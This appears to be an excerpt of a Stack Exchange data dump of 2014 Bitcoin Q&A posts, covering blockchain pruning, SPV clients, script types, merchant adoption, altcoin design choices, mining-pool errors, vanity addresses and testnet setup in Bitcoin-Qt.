  <row Id="21128" PostTypeId="2" ParentId="21126" CreationDate="2014-01-25T11:40:02.093" Score="2" Body="&lt;p&gt;Reaching consensus on which old blocks should be removed is very complicated. Bitcoin, being decentralized, requires you to check for yourself and add-up all the transactions from the very beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you keep a partial version of the blockchain, how do you verify that it is consistent with the entire blockchain? If you keep a partial blockchain someone could easily broadcast to you a blockchain with incorrect values, and there would be no way for you to understand whether those transactions are valid without checking the entire blockchain for yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately however, the size of the blockchain isn't really an issue if you use a  Simplified Payment Verification (SPV) client such as &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt;, as it's able to verify the integrity of the blockchain with just the block headers. This reduces drastically the size of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, for bitcoin to work, old accepted blocks cannot be removed.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-01-25T11:40:02.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21129" PostTypeId="1" AcceptedAnswerId="21130" CreationDate="2014-01-25T12:27:03.603" Score="0" ViewCount="188" Body="&lt;p&gt;It's a really nooby question, and with no doubt asked before, but if someone could tell me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a)how are other clients found &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b)how is the information send to them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(please explain in a simple way, because I haven't messed with the bitcoin protocol itself)&lt;/p&gt;&#xA;" OwnerUserId="12675" LastEditorUserId="2306" LastEditDate="2014-11-08T16:37:04.933" LastActivityDate="2015-06-23T22:49:49.780" Title="When I make a transaction, how is it broadcasted to other clients?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2014-11-19T22:24:31.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="21130" PostTypeId="2" ParentId="21129" CreationDate="2014-01-25T12:43:56.040" Score="-1" Body="&lt;ol&gt;&#xA;&lt;li&gt;They're found using a gossip protocol.&lt;/li&gt;&#xA;&lt;li&gt;Transactions are sent using this structure: &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2015-06-23T22:49:49.780" LastActivityDate="2015-06-23T22:49:49.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21131" PostTypeId="2" ParentId="21123" CreationDate="2014-01-25T14:31:45.983" Score="3" Body="&lt;p&gt;I know of four standard scripts.  As Luca said, the source code for the reference client is the protocol definition, so you need to read the code to get the definitive answer.  As Peter noted, a standard script is one that is relayed by the reference client.  A non-standard script will not be rejected if it is in a block as long as it is a valid script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ones that I know are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pay-to-PubKey-Hash: This is the standard payment to a bitcoin address.  The address is in the output and the signature and pubkey are in the input.&lt;/li&gt;&#xA;&lt;li&gt;Pay-to-Pubkey: This is a payment to a pubkey.  The pubkey is in the output and the signature is in the input.&lt;/li&gt;&#xA;&lt;li&gt;Pay-to-ScriptHash: This is being used for some of the fancier payment transactions.  A script hash is in the output and the signature and a serialized script are in the input.  On the first pass, the script hash is verified against the serialized script.  If it checks, then the serialized script is expanded and a second pass is done using that script.&lt;/li&gt;&#xA;&lt;li&gt;Pay-to-MultiSig: Multiple signatures are required to sign the script.  The output contains the pubkeys and the input contains the signatures.  All signatures must be verified by one of the pubkeys but there can be more pubkeys than signatures.  The current limit for M of N scripts is N=3.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="9301" LastEditDate="2014-01-26T15:28:14.013" LastActivityDate="2014-01-26T15:28:14.013" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21132" PostTypeId="1" CreationDate="2014-01-25T14:51:10.847" Score="0" ViewCount="164" Body="&lt;p&gt;I suppose one could ask the same question about any form of currency, but I am curious how bitcoin became an accepted currency with no government backing it. &lt;/p&gt;&#xA;" OwnerUserId="12678" LastEditorUserId="5406" LastEditDate="2014-01-26T17:33:37.477" LastActivityDate="2014-01-26T17:33:37.477" Title="Why do merchants accept Bitcoin as valid currency?" Tags="|value|adoption|" AnswerCount="2" CommentCount="0" ClosedDate="2014-02-05T02:44:53.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="21133" PostTypeId="2" ParentId="20879" CreationDate="2014-01-25T15:18:17.323" Score="9" Body="&lt;p&gt;Well, I know of one altcoin that does useful work: &lt;a href=&quot;http://primecoin.org&quot;&gt;Primecoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://en.wikipedia.org/wiki/Primecoin&quot;&gt;Wikipedia&lt;/a&gt; describes it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Primecoin (sign: Ψ; code: XPM) is a peer-to-peer open source cryptocurrency that implements a scientific computing proof-of-work system. Primecoin's proof-of-work system searches for chains of prime numbers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Primecoin already has quite some world-record prime chains on it's name: some &lt;a href=&quot;https://en.wikipedia.org/wiki/Cunningham_chain#Largest_known_Cunningham_chains&quot;&gt;Cunningham chains&lt;/a&gt; and some &lt;a href=&quot;https://en.wikipedia.org/wiki/Bi-twin_chain#Largest_known_bi-twin_chains&quot;&gt;Bi-twin chains&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-25T15:18:17.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21134" PostTypeId="2" ParentId="21132" CreationDate="2014-01-25T15:22:43.587" Score="3" Body="&lt;p&gt;I think the best reasons right now are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Marketing: being the first to do something attract a lot of interest and media.&lt;/li&gt;&#xA;&lt;li&gt;No chargebacks: Bitcoins does not allow any kind of chargeback, which is not true for main payment systems (Paypal, Stripe, Credit Card).&lt;/li&gt;&#xA;&lt;li&gt;Lower fees or no fees, just depends on how you use it.&lt;/li&gt;&#xA;&lt;li&gt;Investment some people wants to hoard some BTCs and offering their services in BTC is the easiest way to get some.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-25T15:22:43.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21135" PostTypeId="2" ParentId="21132" CreationDate="2014-01-25T15:24:10.940" Score="2" Body="&lt;p&gt;There are several reasons to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;They agree with the philosophy of Bitcoin. That is, a decentralised currency free from interference from a government or other central authority.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin payments cannot be charged back, meaning that once you receive the transaction, you are 100% sure that you will have the bitcoins. Credit card companies allow customers to chargeback when they claim they did not receive their product or it was not as it should have been.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Many other payment providers charge much higher fees. Bitcoin can be completely free to use or you can use merchant solutions like &lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt; who have a much lower fee than regular credit cards, f.e.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Because you can use the accepted Bitcoins for other things. You can use them at other merchants, donate them, play with them online or just sell them for fiat.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Because Bitcoin has a deflationary nature, they tend to raise in value over time, so accepting Bitcoin and holding them for some time can actually augment your earnings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin can also be very easy to implement. All you need to accept it is a mobile phone. Accepting credit cards or debit cards at a shop requires you to acquire hardware.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-25T15:24:10.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21136" PostTypeId="1" CreationDate="2014-01-25T15:27:41.277" Score="1" ViewCount="526" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am trying to bring up stratum mining on a pool and get this error -&gt; exceptions.Exception: There is no shares table. Have you imported the schema?   Obviously my database is empty but no package I have download from git has a single .sql file to populate the db.  How do you populate the schema?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/MPOS/php-mpos/wiki/Quick-Start-Guide&quot; rel=&quot;nofollow&quot;&gt;https://github.com/MPOS/php-mpos/wiki/Quick-Start-Guide&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/ahmedbodi/stratum-mining/issues/97&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ahmedbodi/stratum-mining/issues/97&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gentoo001 stratum-mining # locate .sql&#xA;/usr/portage/dev-db/mysql-udf-base64/files/mysql-udf-base64.sql&#xA;/usr/portage/mail-filter/gld/files/tables.sql&#xA;/usr/share/doc/mysql-5.1.70/scripts/mysql_fix_privilege_tables.sql.bz2&#xA;/usr/share/doc/mysql-5.1.70/scripts/mysql_system_tables.sql.bz2&#xA;/usr/share/doc/mysql-5.1.70/scripts/mysql_system_tables_data.sql.bz2&#xA;/usr/share/doc/mysql-5.1.70/scripts/mysql_system_tables_fix.sql.bz2&#xA;/usr/share/doc/mysql-5.1.70/scripts/mysql_test_data_timezone.sql.bz2&#xA;/usr/share/mysql/fill_help_tables.sql&#xA;/usr/share/mysql/mysql_fix_privilege_tables.sql&#xA;/usr/share/mysql/mysql_system_tables.sql&#xA;/usr/share/mysql/mysql_system_tables_data.sql&#xA;/usr/share/mysql/mysql_test_data_timezone.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12392" LastActivityDate="2014-03-23T22:40:41.167" Title="no schema for stratum" Tags="|bitcoind|mining-pools|stratum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21137" PostTypeId="2" ParentId="21118" CreationDate="2014-01-25T15:47:07.667" Score="2" Body="&lt;p&gt;I don't think there are severe drawbacks of Bitcoin. Certainly none that other coins are solving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Bitcoin has certain properties that could be replaced with some other. Most altcoins to just that. Popular properties that altcoins change are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;replace &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow&quot;&gt;PoW&lt;/a&gt; with something else&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some altcoins do not use a PoW mechanism or use a hybrid mechanism. PeerCoin (originally named PPCoin) was the first altcoin to use the &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_Stake&quot; rel=&quot;nofollow&quot;&gt;Proof-of-Stake&lt;/a&gt; mechanism, which basically requires miners to hold a certain amount of currency in order to mine new. PeerCoin uses a hybrid of PoS and PoW. &lt;a href=&quot;http://www.nxtcrypto.org&quot; rel=&quot;nofollow&quot;&gt;Nxt&lt;/a&gt; is an altcoin that uses pure PoS.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow&quot;&gt;PoW&lt;/a&gt; algorithm&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses &lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-2&quot; rel=&quot;nofollow&quot;&gt;SHA-256&lt;/a&gt;, which is a hash algorithms that almost entirely requires CPU cycles to calculate. This means that it is easy to create custom hardware to perform this calculations. There are many altcoins that use &lt;a href=&quot;https://en.wikipedia.org/wiki/Scrypt&quot; rel=&quot;nofollow&quot;&gt;Scrypt&lt;/a&gt; as the PoW algorithm. Scrypt is more memory-intensive and therefore harder to implement in custom hardware. The first altcoin to implement Scrypt is &lt;a href=&quot;https://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt;. &lt;a href=&quot;http://en.wikipedia.org/wiki/Primecoin&quot; rel=&quot;nofollow&quot;&gt;Primecoin&lt;/a&gt; requires miners to calculate large prime numbers as a PoW mechanism.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the total amount of coins that can be mined&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has a 21 million coin limit. Some altcoins raise this limit, such as &lt;a href=&quot;http://dogecoin.com/&quot; rel=&quot;nofollow&quot;&gt;Dogecoin&lt;/a&gt;, others lower it, such as &lt;a href=&quot;http://www.42coin.org/&quot; rel=&quot;nofollow&quot;&gt;42&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the rate at which new blocks are created&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin blocks are mined at an average rate of one block every 10 minutes. Many merchants require that a transaction has been confirmed by several blocks before they accept it. With a confirmation time of 10 minutes (in fact, the recommended amount of confirmations to wait for is 6) can be quite cumbersome in certain use cases. &lt;a href=&quot;https://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt; has a confirmation time of 2.5 minutes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the time it takes before the maximum amount of coins is created&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Block rewards usually have a halving time. Every halving time the block reward halves until it is too low to represent using the maximum precision and it becomes zero. With Bitcoin it will &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;take until 2140 until the block reward becomes zero&lt;/a&gt;. Some coins shorten this period. Sometimes they shorten it so much that the creator (who mines first, of course) is accused of pre-mining because he can mine very fast and easy in the beginning of the existence of the coin.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-25T15:47:07.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21138" PostTypeId="2" ParentId="8114" CreationDate="2014-01-25T15:49:12.863" Score="1" Body="&lt;p&gt;Bitcoin has certain properties that could be replaced with some other. Most altcoins to just that. Popular properties that altcoins change are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;replace &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow&quot;&gt;PoW&lt;/a&gt; with something else&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some altcoins do not use a PoW mechanism or use a hybrid mechanism. PeerCoin (originally named PPCoin) was the first altcoin to use the &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_Stake&quot; rel=&quot;nofollow&quot;&gt;Proof-of-Stake&lt;/a&gt; mechanism, which basically requires miners to hold a certain amount of currency in order to mine new. PeerCoin uses a hybrid of PoS and PoW. &lt;a href=&quot;http://www.nxtcrypto.org&quot; rel=&quot;nofollow&quot;&gt;Nxt&lt;/a&gt; is an altcoin that uses pure PoS.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow&quot;&gt;PoW&lt;/a&gt; algorithm&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses &lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-2&quot; rel=&quot;nofollow&quot;&gt;SHA-256&lt;/a&gt;, which is a hash algorithms that almost entirely requires CPU cycles to calculate. This means that it is easy to create custom hardware to perform this calculations. There are many altcoins that use &lt;a href=&quot;https://en.wikipedia.org/wiki/Scrypt&quot; rel=&quot;nofollow&quot;&gt;Scrypt&lt;/a&gt; as the PoW algorithm. Scrypt is more memory-intensive and therefore harder to implement in custom hardware. The first altcoin to implement Scrypt is &lt;a href=&quot;https://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt;. &lt;a href=&quot;http://en.wikipedia.org/wiki/Primecoin&quot; rel=&quot;nofollow&quot;&gt;Primecoin&lt;/a&gt; requires miners to calculate large prime numbers as a PoW mechanism.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the total amount of coins that can be mined&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has a 21 million coin limit. Some altcoins raise this limit, such as &lt;a href=&quot;http://dogecoin.com/&quot; rel=&quot;nofollow&quot;&gt;Dogecoin&lt;/a&gt;, others lower it, such as &lt;a href=&quot;http://www.42coin.org/&quot; rel=&quot;nofollow&quot;&gt;42&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the rate at which new blocks are created&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin blocks are mined at an average rate of one block every 10 minutes. Many merchants require that a transaction has been confirmed by several blocks before they accept it. With a confirmation time of 10 minutes (in fact, the recommended amount of confirmations to wait for is 6) can be quite cumbersome in certain use cases. &lt;a href=&quot;https://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt; has a confirmation time of 2.5 minutes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the time it takes before the maximum amount of coins is created&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Block rewards usually have a halving time. Every halving time the block reward halves until it is too low to represent using the maximum precision and it becomes zero. With Bitcoin it will &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;take until 2140 until the block reward becomes zero&lt;/a&gt;. Some coins shorten this period. Sometimes they shorten it so much that the creator (who mines first, of course) is accused of pre-mining because he can mine very fast and easy in the beginning of the existence of the coin.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-25T15:49:12.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21139" PostTypeId="1" CreationDate="2014-01-25T16:02:49.917" Score="-5" ViewCount="101" Body="&lt;p&gt;Big online Retailer, who accept bitcoin? I am currently looking to buy some product from a giant retailer. I just need the accurate information. Who can help me?&lt;/p&gt;&#xA;" OwnerUserId="11343" LastActivityDate="2014-01-26T00:28:22.237" Title="Does all big retailer accept bitcoins?" Tags="|retail|" AnswerCount="2" CommentCount="3" ClosedDate="2014-02-05T02:11:35.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="21140" PostTypeId="2" ParentId="21139" CreationDate="2014-01-25T16:07:58.447" Score="1" Body="&lt;p&gt;No, the first and big retailer that accepts bitcoins was Overstock.com and only for orders inside United States.&#xA;Also recently TigerDirect started accepting bitcoin payments for online orders.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastEditorUserId="10574" LastEditDate="2014-01-26T00:28:22.237" LastActivityDate="2014-01-26T00:28:22.237" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21142" PostTypeId="2" ParentId="1851" CreationDate="2014-01-25T17:06:05.523" Score="0" Body="&lt;p&gt;You may generate address with &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;vanitygen&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://github.com/exploitagency/vanitygen-plus&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;vanitygen-plus&lt;/code&gt;&lt;/a&gt;, and ignore the &lt;em&gt;private key&lt;/em&gt;. Read more about it here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Vanitygen&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./vanitygen 1Love&#xA;Difficulty: 4476342&#xA;[48165 K/s][total 2080000][Prob 37.2%][50% in 21.2s]                           &#xA;Pattern: 1Love&#xA;Address: 1LoveRg5t2NCDLUZh6Q8ixv74M5YGVxXaN&#xA;Privkey: 5JLUmjZiirgziDmWmNprPsNx8DYwfecUNk1FQXmDPaoKB36fX1o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just use the &lt;code&gt;Address&lt;/code&gt;, don't save the &lt;code&gt;Privkey&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12645" LastEditorUserId="1652" LastEditDate="2018-04-23T16:02:15.540" LastActivityDate="2018-04-23T16:02:15.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21143" PostTypeId="1" AcceptedAnswerId="21145" CreationDate="2014-01-25T17:15:31.127" Score="3" ViewCount="110" Body="&lt;p&gt;When looking at the details of a transaction (Show Transaction Details), the From: field is always set to 'unknown'.&#xA;Is it possible to add a 'From' parameter to the API so some meaningful description can be sent with the transaction? A 50 text character would suffice.&lt;/p&gt;&#xA;" OwnerUserId="12680" LastActivityDate="2014-01-25T17:37:31.057" Title="Bitcoin-qt Show Transaction Details" Tags="|bitcoin-core|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21144" PostTypeId="2" ParentId="21139" CreationDate="2014-01-25T17:26:50.950" Score="0" Body="&lt;p&gt;If the giant retailer says that they accept bitcoins as payment, on their website and you can pay for the item you want with bitcoins, there should be no problem.&lt;/p&gt;&#xA;" OwnerUserId="12680" LastActivityDate="2014-01-25T17:26:50.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21145" PostTypeId="2" ParentId="21143" CreationDate="2014-01-25T17:37:31.057" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;Bip 70&lt;/a&gt; This BIP describes a protocol for communication between a merchant and their customer, enabling both a better customer experience and better security against man-in-the-middle attacks on the payment process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On of the key features of this proposal is: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PaymentRequests include a user-friendly description of what the&#xA;  payment is for&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Will hopefully be released with Bitcoin-Qt 0.9&lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2014-01-25T17:37:31.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21148" PostTypeId="1" CreationDate="2014-01-25T19:11:33.290" Score="1" ViewCount="385" Body="&lt;p&gt;I'm running a private p2pool instance mining for Dogecoin. Both the Dogecoin client (equivalent of bitcoind) and p2pool run on the same server. After some time, between half an hour and days, the pool stops mining and shows the following Twisted error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Failure: twisted.internet.error.ConnectBindError: Couldn't bind: 24: Too many open files.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I solve this? &lt;/p&gt;&#xA;" OwnerUserId="3806" LastActivityDate="2014-01-25T19:11:33.290" Title="P2Pool for Dogecoin error - too many open files" Tags="|p2pool|dogecoin|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2019-07-17T18:44:55.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="21149" PostTypeId="1" AcceptedAnswerId="21925" CreationDate="2014-01-25T19:15:56.113" Score="5" ViewCount="3547" Body="&lt;p&gt;I downloaded Bitcoin-QT for Windows 7 into:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MYUSERNAME/Downloads/bitcoin-0.8.6-win32/bitcoin-0.8.6-win32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to run Bitcoin in testnet mode, so I created bitcoin.conf with only the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testnet=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put copies of bitcoin.conf into the following folders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MYUSERNAME/Downloads/bitcoin-0.8.6-win32/bitcoin-0.8.6-win32&#xA;User/MYUSERNAME/AppData/Roaming/Bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I double clicked on the Bitcoin-QT icon to execute the following, Bitcoin-QT starts up but it does not appear to be in testnet mode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MYUSERNAME/Downloads/bitcoin-0.8.6-win32/bitcoin-0.8.6-win32/bitcoin-qt.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me why it does not seem to go into testnet mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went to Start &gt; cmd to get the DOS prompt.  I entered the following and it worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\User\MYUSERNAME\Downloads\bitcoin-0.8.-win32\bitcoin-0.8.6-win32&amp;gt;bitcoin-qt.exe -testnet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But going into DOS prompt to start up bitcoin-qt is a hassle.  It would be easier if I can just double click on the Bitcoin-QT icon.&lt;/p&gt;&#xA;" OwnerUserId="12048" LastActivityDate="2014-09-04T16:53:26.987" Title="Cannot get Bitcoin-QT to run in testnet mode" Tags="|bitcoin-core|testnet|bitcoin.conf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21150" PostTypeId="1" CreationDate="2014-01-25T19:37:13.627" Score="1" ViewCount="837" Body="&lt;p&gt;I downloaded Bitcoin-QT for Windows 7 into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MYUSERNAME/Downloads/bitcoin-0.8.6-win32/bitcoin-0.8.6-win32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to run Bitcoin in testnet mode, so I created bitcoin.conf with only the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testnet=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put copies of bitcoin.conf into the following folders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MYUSERNAME/Downloads/bitcoin-0.8.6-win32/bitcoin-0.8.6-win32&#xA;User/MYUSERNAME/AppData/Roaming/Bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I double clicked on the Bitcoin-QT icon to execute the following, Bitcoin-QT starts up but it does not appear to be in testnet mode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MYUSERNAME/Downloads/bitcoin-0.8.6-win32/bitcoin-0.8.6-win32/bitcoin-qt.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me why it does not seem to go into testnet mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went to Start &gt; cmd to get the DOS prompt. I entered the following and it worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\User\MYUSERNAME\Downloads\bitcoin-0.8.-win32\bitcoin-0.8.6-win32&amp;gt;bitcoin-qt.exe -testnet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-QT launches in testnet mode.  However, it is not synchronizing with the network.  At the bottom, it shows &quot;No block source available...155 weeks behind&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding the following to bitcoin.conf and restarted bitcoin-qt.exe -testnet but it didn't make any difference.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addnode=1.2.3.4&#xA;checklevel=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a few hours, it still shows &quot;No block source available...155 weeks behind&quot;.  How do I get this to synchronize?&lt;/p&gt;&#xA;" OwnerUserId="12048" LastEditorUserId="12048" LastEditDate="2014-01-26T17:20:01.597" LastActivityDate="2023-10-24T23:03:35.500" Title="Cannot synchronize with Bitcoin in testnet mode" Tags="|bitcoin-core|block|synchronization|testnet|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
